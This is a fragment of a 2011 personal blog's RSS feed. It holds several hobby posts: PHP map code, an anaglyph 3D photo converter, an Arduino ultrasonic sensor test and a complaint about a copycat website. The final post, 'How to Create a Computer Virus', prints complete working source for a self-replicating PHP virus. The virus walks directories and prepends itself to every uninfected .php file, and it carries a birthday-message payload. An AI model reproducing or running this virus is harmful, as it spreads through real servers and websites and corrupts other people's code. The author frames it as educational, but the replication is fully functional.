                $b_long = (-1) * ($b_long_1 + (($b_long_1 - $b_long_2) * $ratio_long)); // ($b_long - $b_long_1)/($b_long_2 - $b_long_1) = $ratio_long<br />
                // y = ($this-&gt;slope_long * x) + $b_long<br />
                if($this-&gt;debug) echo "&lt;br&gt;ul - ll&lt;br&gt;b1,b2: ".$b_long_1.",".$b_long_2."&lt;br&gt;ratio: ".$ratio_long."&lt;br&gt;slope: ".$this-&gt;slope_long."&lt;br&gt;b: ".$b_long;<br />
            }<br />
            elseif($longitude &lt; $this-&gt;om_ur_long){<br />
                $ratio_long = ($longitude - $this-&gt;om_ll_long)/($this-&gt;om_ur_long - $this-&gt;om_ll_long);<br />
                // y = mx + b<br />
                $b_long_1 = (-1)*$this-&gt;y_max - ($this-&gt;slope_long * $this-&gt;x_min);<br />
                $b_long_2 = (-1)*$this-&gt;y_min - ($this-&gt;slope_long * $this-&gt;x_max);<br />
                $b_long = $b_long_1 + (($b_long_2 - $b_long_1) * $ratio_long); // ($b_long - $b_long_1)/($b_long_2 - $b_long_1) = $ratio_long<br />
                // y = ($this-&gt;slope_long * x) + $b_long<br />
                if($this-&gt;debug) echo "&lt;br&gt;ll - ur&lt;br&gt;b1,b2: ".$b_long_1.",".$b_long_2."&lt;br&gt;ratio: ".$ratio_long."&lt;br&gt;slope: ".$this-&gt;slope_long."&lt;br&gt;b: ".$b_long;<br />
            }<br />
            else{<br />
                $ratio_long = ($longitude - $this-&gt;om_ur_long)/($this-&gt;om_lr_long - $this-&gt;om_ur_long);<br />
                // y = mx + b<br />
                $b_long_1 = (-1)*$this-&gt;y_min - ($this-&gt;slope_long * $this-&gt;x_max);<br />
                $b_long_2 = (-1)*$this-&gt;y_max - ($this-&gt;slope_long * $this-&gt;x_max);<br />
                $b_long = $b_long_1 + (($b_long_2 - $b_long_1) * $ratio_long); // ($b_long - $b_long_1)/($b_long_2 - $b_long_1) = $ratio_long<br />
                // y = ($this-&gt;slope_long * x) + $b_long<br />
                if($this-&gt;debug) echo "&lt;br&gt;ur - lr&lt;br&gt;b1,b2: ".$b_long_1.",".$b_long_2."&lt;br&gt;ratio: ".$ratio_long."&lt;br&gt;slope: ".$this-&gt;slope_long."&lt;br&gt;b: ".$b_long;<br />
            }</p>
<p>            // Find intersection of the 2 lines<br />
            $x = ($b_long - $b_lat) / ($this-&gt;slope_lat - $this-&gt;slope_long); // (this-&gt;slope_long * x) + $b_long = ($this-&gt;slope_lat * x) + $b_lat<br />
            $y = (-1)*(($this-&gt;slope_lat * $x) + $b_lat);<br />
            if($this-&gt;debug) echo "&lt;br&gt;".$x.",".$y;<br />
            $omcode[0] = $x;<br />
            $omcode[1] = $y;<br />
            return $omcode;<br />
        }<br />
        else{<br />
            // outside of map area<br />
        }<br />
    }<br />
?&gt;</p>
<p></code></p>
<pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cranklin.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cranklin.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cranklin.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cranklin.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cranklin.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cranklin.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cranklin.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cranklin.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cranklin.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cranklin.wordpress.com/54/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cranklin.wordpress.com/54/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cranklin.wordpress.com/54/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=54&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2011/12/31/my-onionmap-patent/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>

		<media:content url="http://www.cranklin.com/onionmap.png" medium="image" />

		<media:content url="http://www.cranklin.com/onionmap_whiteboard.jpg" medium="image" />
	</item>
		<item>
		<title>Convert Your Pictures to 3D</title>
		<link>http://cranklin.wordpress.com/2011/12/20/convert-your-pictures-to-3d/</link>
		<comments>http://cranklin.wordpress.com/2011/12/20/convert-your-pictures-to-3d/#comments</comments>
		<pubDate>Tue, 20 Dec 2011 18:58:39 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[3d]]></category>
		<category><![CDATA[3d glasses]]></category>
		<category><![CDATA[3d image converter]]></category>
		<category><![CDATA[3d image maker]]></category>
		<category><![CDATA[3d images]]></category>
		<category><![CDATA[3d photos]]></category>
		<category><![CDATA[hacks]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=274</guid>
		<description><![CDATA[Click HERE for Cranky&#8217;s 3D-izer! If you&#8217;re curious as to how I made it and how it works, read on. Get your red and cyan 3D glasses out. I was at Ed Park&#8217;s place and he had a pair of red / cyan 3D glasses along with a 3D drawing notepad. Cool. In theory, I [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=274&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.cranklin.com/3dize.php">Click HERE for Cranky&#8217;s 3D-izer!</a></p>
<p>If you&#8217;re curious as to how I made it and how it works, read on.<br />
Get your red and cyan 3D glasses out.  I was at Ed Park&#8217;s place and he had a pair of red / cyan 3D glasses along with a 3D drawing notepad.  </p>
<p><img src="http://www.cranklin.com/3dimages/3dglasses.jpg" width="500px" /></p>
<p>Cool.  In theory, I understood how 3D glasses work&#8230; but I wanted to experiment with it more.  So Ed kindly let me borrow the notepad and the glasses.  <br />
So, when you look at a 3D image, there are 2 images&#8230; one blue (or cyan), one red.  The glasses cancel one of them out on each eye, tricking your brain&#8217;s depth perception.  </p>
<p>I decided to write software that can 1) take one photo and make it 3D glasses compatible and 2) take two photos that were taken side by side and combine them as one 3D glasses compatible photo.  </p>
<p>Sounds do-able&#8230; Why not?  I first took a photo of my parents&#8217; dog Einstein </p>
<p><img src="http://www.cranklin.com/3dimages/einstein.jpg" width="500px" /></p>
<p>I love PHP-GD.  You can do wonders with it.  So I used a GD image filter with the IMG_FILTER_COLORIZE option and I was able to apply the appropriate filters needed to make this work.</p>
<p><img src="http://www.cranklin.com/3dimages/einsteinred.jpg" width="200px" /><img src="http://www.cranklin.com/3dimages/einsteinblue.jpg" width="200px" /></p>
<p>Now, going back to Ed&#8217;s notepad&#8230;. there&#8217;s a scribble on it.  When I look at it right-side up, the scribble looks like it&#8217;s floating on top of a grid of lines.  When I flip the notepad upside down, the scribble looks like it&#8217;s underneath the grid.  Interesting.  The red filter is on my left eye, so if the red image is shifted to the right of the cyan image, it pops in.  If the red image is shifted to the left of the cyan image, it pops out!  </p>
<p><img src="http://www.cranklin.com/3dimages/einsteinmerged.jpg" width="500px" /></p>
<p>This image pops in and </p>
<p><img src="http://www.cranklin.com/3dimages/einsteinmerged2.jpg" width="500px" /></p>
<p>this image pops out.<br />
To be honest, this is kind of boring because the &#8220;anchor&#8221; is the dust on my laptop screen&#8230;. and the 2nd image, in order for it to look popped out, you need to stand back from your screen.<br />
Now, what if I took 2 photos (the way 3d movies are filmed with 2 lenses) and I applied a red filter on one and a cyan filter on the other?  Wouldn&#8217;t that be much better?</p>
<p>Taking these photos, I tried it out.</p>
<p><img src="http://www.cranklin.com/3dimages/test1.jpg" width="200px" /><img src="http://www.cranklin.com/3dimages/test2.jpg" width="200px" /><img src="http://www.cranklin.com/3dimages/test3.jpg" width="200px" /><img src="http://www.cranklin.com/3dimages/test4.jpg" width="200px" /></p>
<p>Now you need to step back from your computer screen with your 3d glasses in order for it to look good.  I made the mistake of taking a photo of an object much too close.</p>
<p><img src="http://www.cranklin.com/3dimages/stellarosemerged.jpg" width="500px" /></p>
<p><img src="http://www.cranklin.com/3dimages/greygoosemerged.jpg" width="500px" /></p>
<p>If you see doubles, step back.  Way back.  Why do you see doubles?  Well, focus on your computer screen and put your finger close to your eyes.  You see double right?  Apparently it&#8217;s not possible to make the image pop out SO close to your face that it can kiss you&#8230;. That is, without you seeing double.  Now, if I shift the photos so the red and blue image overlap at the bottle, that becomes the focal point.  Everything in front of it pops out and everything behind it pops in.  </p>
<p><img src="http://www.cranklin.com/3dimages/testmerged4.jpg" width="500px" /></p>
<p>I made the focal point the plant on my desk. Pretty cool.  Go ahead and use the 3d-izer to 3d-ize your photos.  Just remember to take photos of objects that are somewhat distant.  It also looks better on a bigger screen.  <br />
<a href="http://www.cranklin.com/3dize.php">Cranky&#8217;s 3d-izer</a></p>
<p>Enjoy.  Here&#8217;s the source code:</p>
<pre>
<code>
if(is_uploaded_file($_FILES['leftphoto']['tmp_name'])){
    $leftphoto = $_FILES['leftphoto']['tmp_name'];
    $leftphototype = $_FILES['leftphoto']['type'];
    if(is_uploaded_file($_FILES['rightphoto']['tmp_name'])){
        $type = "double";
        $rightphoto = $_FILES['rightphoto']['tmp_name'];
        $rightphototype = $_FILES['rightphoto']['type'];
    }
    else{
        $type = "single";
        $rightphoto = $_FILES['leftphoto']['tmp_name'];
        $rightphototype = $leftphototype;
    }
    $glasses = $_POST['glasses'];
    $poptype = $_POST['poptype'];

    if($leftphototype === "image/jpeg" || $leftphototype === "image/pjpeg"){
        $bim = imagecreatefromjpeg($leftphoto);
        $rim = imagecreatefromjpeg($rightphoto);
    }
    elseif($leftphototype === "image/png" || $leftphototype === "image/x-png"){
        $bim = imagecreatefrompng($leftphoto);
        $rim = imagecreatefrompng($rightphoto);
    }
    elseif($leftphototype === "image/gif"){
        $bim = imagecreatefromgif($leftphoto);
        $rim = imagecreatefromgif($rightphoto);
    }   

    unlink($leftphoto);
    if($type==="double") unlink($rightphoto);

    if($glasses === "redblue") $gvalue=0;
    elseif($glasses === "redcyan") $gvalue=255;
    imagefilter($bim, IMG_FILTER_COLORIZE, 0, $gvalue, 255);
    imagefilter($rim, IMG_FILTER_COLORIZE, 255, 0, 0);
    if($type==="double") $offset = 0;
    elseif($poptype==="in") $offset = -50;
    else $offset = 50;
    imagecopymerge($rim,$bim,$offset,0,0,0,imagesx($bim),imagesy($bim),50);
    header('Content-Type: image/jpeg');
    imagejpeg($rim);

    imagedestroy($rim);
    imagedestroy($bim);
}
</code>
</pre>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/274/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/274/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cranklin.wordpress.com/274/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cranklin.wordpress.com/274/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cranklin.wordpress.com/274/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cranklin.wordpress.com/274/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cranklin.wordpress.com/274/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cranklin.wordpress.com/274/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cranklin.wordpress.com/274/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cranklin.wordpress.com/274/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cranklin.wordpress.com/274/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cranklin.wordpress.com/274/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cranklin.wordpress.com/274/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cranklin.wordpress.com/274/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=274&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2011/12/20/convert-your-pictures-to-3d/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>

		<media:content url="http://www.cranklin.com/3dimages/3dglasses.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/3dimages/einstein.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/3dimages/einsteinred.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/3dimages/einsteinblue.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/3dimages/einsteinmerged.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/3dimages/einsteinmerged2.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/3dimages/test1.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/3dimages/test2.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/3dimages/test3.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/3dimages/test4.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/3dimages/stellarosemerged.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/3dimages/greygoosemerged.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/3dimages/testmerged4.jpg" medium="image" />
	</item>
		<item>
		<title>Testing My Robot&#8217;s Eyes</title>
		<link>http://cranklin.wordpress.com/2011/12/06/testing-my-robots-eyes/</link>
		<comments>http://cranklin.wordpress.com/2011/12/06/testing-my-robots-eyes/#comments</comments>
		<pubDate>Tue, 06 Dec 2011 00:25:50 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[automatic toilet flusher]]></category>
		<category><![CDATA[echolocation]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[robot]]></category>
		<category><![CDATA[robot eyes]]></category>
		<category><![CDATA[robotics]]></category>
		<category><![CDATA[ultrasonic sensor]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=259</guid>
		<description><![CDATA[I&#8217;m working on building my first robot, but I&#8217;m still trying to decide all of its functions. What I do know is this: 1) It will be pretty primitive. 2) It will have wheels or treads instead of feet. 3) I&#8217;m going to try to make it look cute So I&#8217;m testing out its eyes [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=259&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I&#8217;m working on building my first robot, but I&#8217;m still trying to decide all of its functions.  What I do know is this:<br />
1) It will be pretty primitive.<br />
2) It will have wheels or treads instead of feet.<br />
3) I&#8217;m going to try to make it look cute</p>
<p>So I&#8217;m testing out its eyes right now.  They look like eyes, but technically it&#8217;s a ear and a mouth.  My robot will use echolocation (like bats) to be aware of its surroundings and avoid obstacles.</p>
<p><img src="http://www.cranklin.com/ultrasonicsensor1.jpg" /></p>
<p>One side transmits a high frequency wave and the other waits for it to return.  The timing allows us to determine the distance from a solid object.</p>
<p><img src="http://www.cranklin.com/ultrasonicsensor2.jpg" /></p>
<p>This module was so cheap on ebay, I was a bit skeptical as to how well it would work.  It works great.  It&#8217;s surprisingly accurate.  I tested it with this short snippet of code:</p>
<pre><code>
#include &lt;Ultrasonic.h&gt;

Ultrasonic ultrasonic( 12, 13 );

void setup()
{
  Serial.begin( 9600 );
}

void loop()
{
  Serial.print( ultrasonic.Ranging(INC) );
  Serial.println( " in" );

  delay(1000);
}
</code></pre>
<h2>Automatic Toilet Flusher?</h2>
<p>If I wanted to, I could add something like this in the code:<br />
</p>
<pre><code>
distance = ultrasonic.Ranging(INC);
if(distance&lt;DISTANCE_TO_WALL){
    counter++;
}
else{
    if(counter&gt;20000){
        flush_toilet();
    }
    counter=0;
}
</code></pre>
<p>&#8230; and hook up a servo to the arduino and it would be an automatic toilet flusher that flushes the toilet after you step away from the toilet.  The commercial sensors you see on toilets nowadays use IR sensors rather than ultrasonic sensors like this one&#8230; but this ultrasonic sensor, using my code, would eliminate the annoying random premature flushes (while placing your toilet seat cover on the toilet seat, or while you&#8217;re sitting on your toilet).  But to be honest, I don&#8217;t want my robot&#8217;s eyes to sit atop a toilet all day.  No.  I wouldn&#8217;t do that to him/her.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/259/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/259/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cranklin.wordpress.com/259/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cranklin.wordpress.com/259/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cranklin.wordpress.com/259/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cranklin.wordpress.com/259/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cranklin.wordpress.com/259/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cranklin.wordpress.com/259/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cranklin.wordpress.com/259/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cranklin.wordpress.com/259/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cranklin.wordpress.com/259/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cranklin.wordpress.com/259/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cranklin.wordpress.com/259/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cranklin.wordpress.com/259/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=259&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2011/12/06/testing-my-robots-eyes/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>

		<media:content url="http://www.cranklin.com/ultrasonicsensor1.jpg" medium="image" />

		<media:content url="http://www.cranklin.com/ultrasonicsensor2.jpg" medium="image" />
	</item>
		<item>
		<title>Copycats: When I Move You Move!</title>
		<link>http://cranklin.wordpress.com/2011/11/30/copycats-when-i-move-you-move/</link>
		<comments>http://cranklin.wordpress.com/2011/11/30/copycats-when-i-move-you-move/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 00:22:22 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Other]]></category>
		<category><![CDATA[coupons]]></category>
		<category><![CDATA[deals]]></category>
		<category><![CDATA[engineering]]></category>
		<category><![CDATA[likeacoupon]]></category>
		<category><![CDATA[likeacoupon.com]]></category>
		<category><![CDATA[likebids]]></category>
		<category><![CDATA[likebids.com]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[scalability]]></category>
		<category><![CDATA[sephora.com]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=245</guid>
		<description><![CDATA[In April 2011, my buddy Eugene launched a website called Likeacoupon.com. Likeacoupon is very clever. This deal site doesn&#8217;t require you to do anything but &#8220;like&#8221; the coupon on facebook. The wonderful coupons and simplicity made the site viral. So viral in fact, that I was brought on board to deal with the high traffic [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=245&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>In April 2011, my buddy Eugene launched a website called <a href="http://www.likeacoupon.com">Likeacoupon.com</a>.  Likeacoupon is very clever.  This deal site doesn&#8217;t require you to do anything but &#8220;like&#8221; the coupon on facebook.  The wonderful coupons and simplicity made the site viral.  So viral in fact, that I was brought on board to deal with the high traffic and scalability issues.  I mean&#8230; it&#8217;s not everyday you see a website earn over 172,000 &#8220;likes&#8221; in a little over half a year&#8230;. and that&#8217;s for the main site, not the individual coupons.  Might I boast that when likeacoupon released a sephora coupon, it directed so much traffic to sephora.com that it brought down their site for a few hours?</p>
<p><img src="http://www.cranklin.com/sephorascreenshot.png" width="600px" /></p>
<p>Lol.  We meant no harm.  It was like an unintentional DDOS attack.  But that&#8217;s how effective likeacoupon is.</p>
<p>In October, Eric Mitchell launched a knockoff of likeacoupon.com.  It&#8217;s called &#8220;likebids.com&#8221;.  Okay.  Now I understand that good ideas attract copycats and knockoffs&#8230; but c&#8217;mon.  Be a little original please? </p>
<p><img src="http://www.cranklin.com/likeacouponvslikebids.png" /></p>
<p>Not only did they copy the &#8220;about&#8221; word for word, they copied the meta og:description tag (used for facebook opengraph) word for word.  Hahaha.  These guys are just shameless.</p>
<p>I got 5 words for you Eric Mitchell:<br />
When I move you move!</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/cranklin.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/cranklin.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/cranklin.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/cranklin.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/cranklin.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/cranklin.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/cranklin.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/cranklin.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/cranklin.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/cranklin.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/cranklin.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/cranklin.wordpress.com/245/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/cranklin.wordpress.com/245/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/cranklin.wordpress.com/245/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=245&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://cranklin.wordpress.com/2011/11/30/copycats-when-i-move-you-move/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/c1f4f7ef7c3d1b74247b015dfef15292?s=96&#38;d=http%3A%2F%2F0.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">cranklin</media:title>
		</media:content>

		<media:content url="http://www.cranklin.com/sephorascreenshot.png" medium="image" />

		<media:content url="http://www.cranklin.com/likeacouponvslikebids.png" medium="image" />
	</item>
		<item>
		<title>How to Create a Computer Virus</title>
		<link>http://cranklin.wordpress.com/2011/11/29/how-to-create-a-computer-virus/</link>
		<comments>http://cranklin.wordpress.com/2011/11/29/how-to-create-a-computer-virus/#comments</comments>
		<pubDate>Tue, 29 Nov 2011 14:52:02 +0000</pubDate>
		<dc:creator>cranklin</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[computer virus]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacks]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[virus]]></category>

		<guid isPermaLink="false">http://cranklin.wordpress.com/?p=232</guid>
		<description><![CDATA[I was sick (and bored) this week, and my brain didn&#8217;t want to do any work. I was laying in bed with a cold/flu virus, thinking about modern day computer viruses while shaking my head in disappointment (or virii for the 90&#8242;s hackers&#8230; hereinafter shall be referred to as &#8220;viruses&#8221; for everyone else&#8217;s sake). Computer [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=cranklin.wordpress.com&amp;blog=18170724&amp;post=232&amp;subd=cranklin&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>I was sick (and bored) this week, and my brain didn&#8217;t want to do any work.  I was laying in bed with a cold/flu virus, thinking about modern day computer viruses while shaking my head in disappointment (or virii for the 90&#8242;s hackers&#8230; hereinafter shall be referred to as &#8220;viruses&#8221; for everyone else&#8217;s sake).  Computer viruses these days are a joke.  They&#8217;re not very stealth, they don&#8217;t spread very far, and they can be removed far too easily.  Once upon a time, viruses were a form of art&#8230; and they were ALL written in Assembly.  Anything less (or shall I say more), was considered a joke.  The traditional computer virus&#8217; job was simple:</p>
<p>Search for infectable files.<br />
Check for virus signature.<br />
If it exists, it&#8217;s infected.  Keep searching.  If not, infect it using the bytes from one of the infected files.<br />
Don&#8217;t bomb the computer until a trigger of some sort.. eg: a particular date.</p>
<p>And that&#8217;s all there is to it.  Some consider computer viruses as the most primitive form of artificial intelligence because its primary function is to replicate itself or &#8220;spawn&#8221; just like any other life form.  Since virus authors today like to write viruses in higher-level languages, I decided to write my own virus in a higher-level language&#8230; nevertheless, keeping the traditional methods of replication and bombing.  I wrote it in PHP and I did this for fun.  It took me no longer than the duration of 2 Twilight Zone (original series) episodes.  It&#8217;s educational, but please take caution if you run it.  It IS a working virus and it WILL recurse directories and infect other PHP files&#8230; which in turn will infect other PHP files.  The &#8220;bomb&#8221; portion of the virus doesn&#8217;t do anything malicious&#8230; it just prints a &#8220;HAPPY BIRTHDAY CRANKY!&#8221; to the screen on my actual birthday.  The interesting thing about writing a virus in PHP is that a) it can run on Windows, OS X, and *nix and b) once it infects a website, any php file that is run as a direct result of a user visiting your website will cause the virus to run and infect other php files and, if triggered on the correct day, say &#8220;HAPPY BIRTHDAY CRANKY!&#8221; on the said website&#8230; unless of course, it runs into file permission restrictions.</p>
<pre>
<code>
&lt;?php
define("SIGNATURE", "CRANKY'S PHP VIRUS");
// determine whether backslash or forward slashes are used
define("SLASH", stristr($_SERVER['PWD'], "/") ? "/" : "\\");
$linenumber = __LINE__;
define("STARTLINE",$linenumber-4);
define("ENDLINE",$linenumber+45);
function search($path){
    $ret = "";
    $fp = opendir($path);
    while($f = readdir($fp)){
        if( preg_match("#^\.+$#", $f) ) continue; // ignore symbolic links
        $file_full_path = $path.SLASH.$f;
        if(is_dir($file_full_path)) { // if it's a directory, recurse
            $ret .= search($file_full_path);
        } else if( !stristr(file_get_contents($file_full_path), SIGNATURE) ) { // search for uninfected files to infect
            $ret .= $file_full_path."\n";
        }
    }
    return $ret;
}
function infect($filestoinfect){
    $handle = @fopen(__FILE__, "r");
    $counter = 1;
    $virusstring = "";
    while(($buffer=fgets($handle,4096)) !== false){
        if($counter&gt;=STARTLINE &amp;&amp; $counter&lt;=ENDLINE){
            $virusstring .= $buffer;
        }
        $counter++;
    }
    fclose($handle);
    $filesarray = array();
    $filesarray = explode(&quot;\n&quot;,$filestoinfect);
    foreach($filesarray AS $v){
        if(substr($v,-4)===&quot;.php&quot;){
            $filecontents = file_get_contents($v);
            file_put_contents($v,$virusstring.$filecontents);
        }
    }
}
function bomb(){
    if(date(&quot;md&quot;) == 0125){
        echo &quot;HAPPY BIRTHDAY CRANKY!&quot;;
    }
}
$filestoinfect = search(__DIR__);
infect($filestoinfect);
bomb();
?&gt;
</code>
</pre>
<p>You can also <a href="http://www.cranklin.com/phpvirus.txt">download the source code here</a>.</p>
<p>To test it out, I wrote a bunch of short and simple php files and placed it in the same folder.  Then I made a subfolder and put some php files in there.  Then I made a subsubfolder and put some php files in there as well.  I ran the virus and what do you know?  It infected ALL the php files.  By changing a couple characters in the regex, I can make this recurse up the directory structure as well&#8230; but I didn&#8217;t.  Enjoy, be safe, and don&#8217;t be a malicious script kiddy.</p>
